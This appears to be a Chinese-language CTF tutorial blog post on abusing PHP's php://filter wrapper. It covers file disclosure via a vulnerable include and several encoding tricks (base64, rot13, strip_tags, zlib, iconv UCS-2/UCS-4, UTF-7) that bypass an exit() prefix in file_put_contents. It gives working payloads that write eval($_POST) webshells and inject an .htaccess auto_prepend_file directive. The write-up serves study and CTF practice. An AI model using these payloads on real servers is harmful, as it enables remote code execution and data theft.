关于php://filter过滤器

常规的php://filter过滤器:

php://filter

在ctf比赛中最常使用的就是base64伪协议,再者就是iconv。

  1. 如用base64读取flag.php文件:php://filter/read=convert.base64-encode/resource=flag.php
  2. iconv编码转换读取:php://filter/convert.iconv.utf-8.ucs-4/resource=flag.php
php 复制代码
<?php
//index.php
include($_REQUEST['file']);
?>
php 复制代码
<?php
//flag.php
$flag='flag{test_flag}';
?>

同过base64读取flag.php的类容:

通过filter死亡绕过exit():

一般的3中形式:

https://xz.aliyun.com/t/8163

php 复制代码
file_put_contents($filename , "<?php exit();".$content);

file_put_contents($content,"<?php exit();".$content);

file_put_contents($filename,$content."\nzangShuju");

第一种形式的file_put_contents

1、base64编码绕过

php 复制代码
<?php
$filename=$_GET['filename'];
$content=$_GET['content'];
file_put_contents($filename , "<?php exit();".$content);
?>

从代码可知,我们不论输入什么php的代码都会拼接到exit()后面,从而导致后面的任何语句都失效而无法执行。 而我们知道base64解码过程是按4个字符一起解码(对于不在base64编码类容里的那些特殊字符会自动忽略)。所有我们可以使用base64-decode来绕过。

比如我想插入的代码为<?php phpinfo()?>,经过base64编码后的类容为PD9waHAgcGhwaW5mbygpPz4=。

所有最终的payload就为:

php 复制代码
?filename=php://filter/convert.base64-decode/resource=1.php&content=aPD9waHAgcGhwaW5mbygpPz4=

其中在最前方加了一个a,因为phpexit为7个字符,为了满足4的倍数让base64正常解码,所有加了一个a。

成功写入 。

2、rot13编码绕过

我们都知道rot13其实就是位移13位的凯撒密码,如<?php phpinfo()?>经过rot13后变为<?cuc cucvasb()?>,所有我们可以利用这种性质来绕过exit()。

php 复制代码
?filename=php://filter/string.rot13/resource=1.php&content=<?cuc cucvasb()?>

也是成功写入,能够运行。

3、string.strip_tags绕过

string.strip_tags能过过滤掉html标签<>及类容:

php 复制代码
?filename=php://filter/string.strip_tags|convert.base64-decode/resource=1.php&content=?>PD9waHAgcGhwaW5mbygpPz4=

?>是为了闭合前面<,从而形成<>

注意:string.strip_tags过滤器只是可以在php5的环境下顺利的使用,如果题目环境是在php7.3.0以上的环境下,则会发生段错误。导致写不进去;根本来说是php7.3.0中废弃了string.strip_tags这个过滤器

4、.htaccess预包含绕过

如果对方服务是运行在apache上,而不是php直接启动web服务,就可以运用此方法。

php 复制代码
filename=php://filter/write=string.strip_tags/resource=.htaccess&content=?>php_value auto_prepend_file flag.php

5、过滤器叠加绕过

由于在php7等环境无法使用string.strip_tags过滤器,我们则可以考虑使用过滤器进行叠加,使本来的功能性代码被破坏。

php 复制代码
三个过滤器叠加之后先进行压缩,然后转小写,最后解压,会导致部分死亡代码错误,将我们的木马写入

filename=php://filter/zlib.deflate|string.tolower|zlib.inflate/resource=shell.php
content=php://filter/zlib.deflate|string.tolower|zlib.inflate?><?php%0a@eval($_POST['cmd']);?>

其中%0a还可以用%0d,%09等字符替换。

第二种形式的file_put_contents

1、rot13绕过

php 复制代码
<?php
$filename="php://filter/write=string.rot13|?><?cuc cucvasb();?>/resource=shell.php";
file_put_contents($filename , "<?php exit();".$filename);
?>

php://filter/write=string.rot13|?><?cuc cucvasb();?>/resource=shell.php

<?cuc cucvasb();?>为<?php phpinfo();?>

2、iconv编码绕过

利用iconv编码绕过,可以将一种编码变为另一种编码模式,在php中,iconv用法为:

iconv ( string in_charset , string out_charset , string $str ) : string

1、usc-2(对目标字符串进行2位一反转,需要偶数位)
php 复制代码
<?php
echo iconv('UCS-2LE','UCS-2BE','?><?php @eval($_POST["shellcmd"]);?>')."\n";
//>??<hp pe@av(l_$OPTS"[hslecldm]";)>?
$filename="php://filter/convert.iconv.UCS-2LE.UCS-2BE|>??<hp pe@av(l_\$OPTS\"[hslecldm]\";)>?/resource=shell.php";
file_put_contents($filename , "<?php exit();".$filename);
?>

payload:

php 复制代码
php://filter/convert.iconv.UCS-2LE.UCS-2BE|>??<hp pe@av(l_$OPTS"[hslecldm]";)>?/resource=shell.php
2、usc-4(4位一反转,需要为4的倍数)
php 复制代码
<?php
echo iconv('UCS-4LE','UCS-4BE','?><?php @eval($_POST["shellcmd"]);?>')."\n";
//?<>? phpave@_$(lTSOPhs"[clle]"dm>?;)
$filename="php://filter/convert.iconv.UCS-4LE.UCS-4BE|?<>? phpave@_$(lTSOPhs\"[clle]\"dm>?;)/resource=shellcmd.php";
file_put_contents($filename , "<?php exit();".$filename);
?>

payload:

php 复制代码
php://filter/convert.iconv.UCS-4LE.UCS-4BE|?<>? phpave@_$(lTSOPhs"[clle]"dm>?;)/resource=shellcmd.php

注意:在使用usc-2和usc-4时切记他们的倍数关系,不然会保存失败。

3、base64编码
php 复制代码
<?php

$filename="php://filter/convert.base64-decode/PD9waHAgZXZhbCgkX1BPU1RbInNoZWxsY21kIl0pOz8+/resource=shell.php";
file_put_contents($filename , "<?php exit();".$filename);
?>

如果直接按照这样编写,只会有文件名,但没有类容,因为在写入的内容中为:

<?php exit();php://filter/convert.base64-decode/PD9waHAgZXZhbCgkX1BPU1RbInNoZWxsY21kIl0pOz8+/resource=shell.php

其中有一个等号,会发生报错,因为在base64中=表示结束的意思。

使用string.strip_tags过滤器,用其特性过滤掉html标签,即,我们可以把=包含在<>标签里过滤掉。

php 复制代码
php://filter/string.strip_tags|convert.base64-decode/resource=?>PD9waHAgZXZhbCgkX1BPU1RbInNoZWxsY21kIl0pOz8+

但这样依旧有一个问题,就是保存的文件在服务器端会有一个'',导致游览器无法访问。

php 复制代码
最终payload:

php://filter/string.strip_tags|convert.base64-decode/resource=?>PD9waHAgZXZhbCgkX1BPU1RbInNoZWxsY21kIl0pOz8+/../cmd.php

这样就会把内容保存在cmd.php文件中。

4、utf-8和utf-7间的转换
php 复制代码
<?php
//echo iconv('UTF-8','UTF-7','=').'\n';
//生成的是+AD0-,可以将=号对base64解码造成的影响解决,在'='的后面是不允许有任何其他字符的否则会报错.

echo base64_encode('<?php @eval($_POST["shellcmd"]);?>')."\n";
//PD9waHAgQGV2YWwoJF9QT1NUWyJzaGVsbGNtZCJdKTs/Pg==
$filename="php://filter/write=PD9waHAgQGV2YWwoJF9QT1NUWyJzaGVsbGNtZCJdKTs/Pg==|convert.iconv.utf-8.utf-7|convert.base64-decode/resource=shell.php";
file_put_contents($filename , "<?php exit();".$filename);


echo iconv('UTF-8','UTF-7','<?php exit();php://filter/write=PD9waHAgQGV2YWwoJF9QT1NUWyJzaGVsbGNtZCJdKTs/Pg==|convert.iconv.utf-8.utf-7|convert.base64-decode/resource=shell.php');
//+ADw?php exit()+ADs-php://filter/write+AD0-PD9waHAgQGV2YWwoJF9QT1NUWyJzaGVsbGNtZCJdKTs/Pg+AD0APQB8-convert.iconv.utf-8.utf-7+AHw-convert.base64-decode/resource+AD0-shell.php

//其中+ADw?php exit()+ADs-php://filter/write+AD0-  刚好满足base64的倍数
?>

payload:

php 复制代码
php://filter/write=PD9waHAgQGV2YWwoJF9QT1NUWyJzaGVsbGNtZCJdKTs/Pg==|convert.iconv.utf-8.utf-7|convert.base64-decode/resource=shell.php

第三种形式的file_put_contents

filter-chain:

随意构造字符串

filter侧信道攻击:

相关推荐
泡泡以安16 分钟前
【爬虫教程】第7章:现代浏览器渲染引擎原理(Chromium/V8)
java·开发语言·爬虫
亮子AI16 分钟前
【Python】比较两个cli库:Click vs Typer
开发语言·python
月明长歌17 分钟前
Java进程与线程的区别以及线程状态总结
java·开发语言
qq_4017004133 分钟前
QT C++ 好看的连击动画组件
开发语言·c++·qt
t198751281 小时前
广义预测控制(GPC)实现滞后系统控制 - MATLAB程序
开发语言·matlab
报错小能手1 小时前
线程池学习(六)实现工作窃取线程池(WorkStealingThreadPool)
开发语言·学习
一条咸鱼_SaltyFish1 小时前
[Day10] contract-management初期开发避坑指南:合同模块 DDD 架构规划的教训与调整
开发语言·经验分享·微服务·架构·bug·开源软件·ai编程
星辰烈龙1 小时前
黑马程序员JavaSE基础加强d5
服务器·网络·php
额呃呃1 小时前
STL内存分配器
开发语言·c++
七点半7701 小时前
c++基本内容
开发语言·c++·算法